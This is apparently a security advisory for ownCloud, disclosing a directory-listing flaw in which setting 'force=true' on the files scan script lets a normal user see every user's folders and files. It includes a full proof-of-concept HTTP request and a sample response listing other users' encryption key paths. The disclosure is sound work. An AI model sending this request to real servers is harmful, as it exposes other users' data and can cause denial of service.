~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

ownCloud is a software suite for creating and using file hosting
services.

The ownCloud Web site describes the software as follows (see [1]):

"ownCloud is a self-hosted file sync and share server. It provides access
to your data through a web interface, sync clients or WebDAV while
providing a platform to view, sync and share across devices easily ? all
under your control. ownCloud?s open architecture is extensible via a
simple but powerful API for applications and plugins and it works with
any storage."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

ownCloud is vulnerable to information exposure through directory
listing. It is possible with a normal user to get information about
the complete directory structure and included files of all users.
The 'force' parameter in the script (index.php/apps/files/ajax/scan.php)
can easily be manipulated, by setting its value to 'true'.

This vulnerability can potentially be used for denial-of-service attacks
if the selected directory is deep enough, because to index many
directories requires high computational effort. In addition, sensitive
information from other users is exposed.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

With the following HTTP GET request, it is possible to see the
directories of other users.

GET /index.php/apps/files/ajax/scan.php?force=true&dir=&requesttoken=<VALIDR
EQUESTTOKEN> HTTP/1.1
Host: [HOST]
Accept: text/event-stream
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [REFERER]
Cookie: [COOKIES]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

Server response (shortened):

event: user
data: "[ID]"

event: folder
data: "\/"

event: count
data: 21

event: count
data: 42

event: count
data: 63

event: folder
data: "\/[ID]"

event: folder
data: "\/[ID]\/files_encryption"

[...]

event: folder
data: "\/[ID]\/files_encryption\/keys\/files\/[FILENAME].zip\/OC_DEFAULT_MODUL
E"

event: folder
data: "\/[ID]\/files_encryption\/keys\/files\/[FILENAME].pptx"

[...]
